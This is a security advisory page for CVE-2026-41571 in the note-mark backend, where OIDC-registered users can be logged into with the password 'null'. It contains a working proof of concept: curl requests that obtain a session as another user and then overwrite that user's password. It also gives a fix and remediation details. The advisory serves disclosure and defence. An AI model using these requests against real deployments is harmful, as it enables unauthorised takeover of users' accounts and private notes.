Loading...
Skip to main content

CVE-2026-41571 — Vulnerability in...

CRITICAL

Note Mark: OIDC-registered users authenticated by submitting password "null"

Published April 25, 2026Updated June 25, 2026Source: osv

Summary

## Summary `IsPasswordMatch` in `backend/db/models.go` falls back to a hard-coded `bcrypt("null")` placeholder whenever a user has no stored password. OIDC-registered users are created with an empty password, so anyone who submits `password: "null"` to the internal login endpoint receives a valid session for that user. The bypass is unauthenticated and requires no user interaction. ## Details `backend/db/models.go:36` defines the placeholder hash used by the timing-attack mitigation inside `IsPasswordMatch`: ```go var nullPasswordHash, _ = bcrypt.GenerateFromPassword([]byte("null"), bcrypt.DefaultCost) ``` `IsPasswordMatch` (`backend/db/models.go:46-58`) substitutes that placeholder when the stored password is empty: ```go func (u *User) IsPasswordMatch(plainPassword string) bool { var current []byte if len(u.Password) == 0 { // prevent CWE-208 current = nullPasswordHash } else { current = u.Password } if err := bcrypt.CompareHashAndPassword(current, []byte(plainPassword)); err == nil { return true } return false } ``` OIDC-registered users are stored with an empty password at `backend/services/auth.go:102-115`: ```go return db.DB.Transaction(func(tx *gorm.DB) error { user := db.User{ Username: username, Password: []byte(""), } // ... }) ``` The internal login endpoint (`POST /api/auth/token`, handled at `backend/services/auth.go:20-54`) calls `IsPasswordMatch` with the caller-supplied password. For any OIDC-only user, `bcrypt.CompareHashAndPassword(nullPasswordHash, []byte("null"))` returns nil, the function returns true, and the server issues a `Auth-Session-Token` cookie. `EnableInternalLogin` defaults to `true`, and `GET /api/info` discloses both OIDC configuration and internal-login status. `enableAnonymousUserSearch` also defaults to `true`, so an unauthenticated caller enumerates usernames via `GET /api/users/search` before touching the login endpoint. Once the session is issued, `PUT /api/users/me/password` accepts `existingPassword: "null"` because the same `IsPasswordMatch` routine verifies the existing password. The caller writes a new password onto the OIDC user's row, which locks the legitimate OIDC user out on the next internal-login path. ## Proof of Concept Tested against `note-mark` v0.19.2. Step 1: Start note-mark pointed at any OIDC provider and set `OIDC__ENABLE_USER_CREATION=true`. The defaults for `ENABLE_INTERNAL_LOGIN` and `ENABLE_ANONYMOUS_USER_SEARCH` do not need to be changed. ```bash docker run -d --name note-mark-poc \ -e OIDC__PROVIDER_NAME=example \ -e OIDC__CLIENT_ID=note-mark \ -e OIDC__CLIENT_SECRET=secret \ -e OIDC__ISSUER_URL=https://your-oidc-provider/ \ -e OIDC__ENABLE_USER_CREATION=true \ -p 8088:8080 ghcr.io/enchant97/note-mark-backend:0.19.2 ``` Step 2: Alice registers via the OIDC flow. `TryCreateNewOidcUser` stores her row with `Password = []byte("")`. Step 3: Bob confirms the preconditions. ```bash curl -s http://localhost:8088/api/info # {"allowInternalLogin":true,"oidcProvider":"example","enableAnonymousUserSearch":true,...} ``` Step 4: Bob logs in as Alice via the internal endpoint. ```bash curl -i -X POST http://localhost:8088/api/auth/token \ -H 'Content-Type: application/json' \ -d '{"grant_type":"password","username":"alice","password":"null"}' ``` Response: ``` HTTP/1.1 204 No Content Set-Cookie: Auth-Session-Token=eyJ...; Path=/; HttpOnly; SameSite=Strict ``` Step 5: Bob uses the cookie to read Alice's account. ```bash curl -b 'Auth-Session-Token=eyJ...' http://localhost:8088/api/users/me # {"id":"...","username":"alice","name":"Alice"} ``` Step 6: Bob persists access by writing his own password onto Alice's row. ```bash curl -i -b 'Auth-Session-Token=eyJ...' -X PUT \ http://localhost:8088/api/users/me/password \ -H 'Content-Type: application/json' \ -d '{"existingPassword":"null","newPassword":"bob-owns-this-now"}' # HTTP/1.1 204 No Content ``` Alice's next internal-login attempt fails; her OIDC flow still works, but Bob now holds a second valid credential on the same row. A companion script that drives all six steps ships at `pocs/poc_014_null_password_bypass.sh`. ## Impact Every OIDC-only user on a note-mark deployment with `ENABLE_INTERNAL_LOGIN=true` (the default) is one HTTP request from takeover. Bob reads Alice's private notebooks, her note markdown, and her uploaded assets. He writes, edits, or deletes anything Alice owns. Step 6 grants persistent access and costs Alice her account until the maintainer clears the row by hand. The default configuration ships both authentication paths side by side, so any site that turns on OIDC is affected without further misconfiguration on the operator's part. ## Recommended Fix The clearest fix rejects the login path for rows with no stored password. Add the check after the user lookup in `GetAccessToken`: ```go // backend/services/auth.go:28 var user db.User if err := db.DB. First(&user, "username = ?", username). Select("id", "password").Error; err != nil { user.IsPasswordMatch(password) // preserve CWE-208 timing mitigation return core.AccessToken{}, InvalidCredentialsError } if len(user.Password) == 0 { return core.AccessToken{}, InvalidCredentialsError } if !user.IsPasswordMatch(password) { return core.AccessToken{}, InvalidCredentialsError } ``` The equivalent change belongs in `UpdateUserPassword` at `backend/services/users.go:53-61`, since the same routine verifies `existingPassword` during the persistence step. Replacing `nullPasswordHash` with a per-instance unguessable plaintext closes the hole too, but relies on the placeholder staying secret: ```go // backend/db/models.go:36 var nullPasswordHash, _ = bcrypt.GenerateFromPassword([]byte(uuid.NewString()), bcrypt.DefaultCost) ``` The explicit empty-password check is preferable because the intent is readable in the source. --- *Found by [aisafe.io](https://aisafe.io)*

Advisory Timeline

  • First published April 25, 2026 (169 days ago).
  • Last revised June 25, 2026 — 61 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Go
Update github.com/enchant97/note-mark/backend to 0.0.0-20260417132909-dea5530cc989 or later
go get github.com/enchant97/note-mark/backend@v0.0.0-20260417132909-dea5530cc989

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: go (1).

PackageEcosystemAffectedFixed In
github.com/enchant97/note-mark/backend
go
All versions0.0.0-20260417132909-dea5530cc989

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-287
    Improper AuthenticationMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.4 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
Low

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

Frequently Asked Questions

What is CVE-2026-41571?
Note Mark: OIDC-registered users authenticated by submitting password "null" This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.4/10).
How do I check if my project is affected by CVE-2026-41571?
CVE-2026-41571 affects github.com/enchant97/note-mark/backend. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-41571 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.4

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-pxf8-6wqm-r6hh
GO-2026-5557

Related CVEs

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies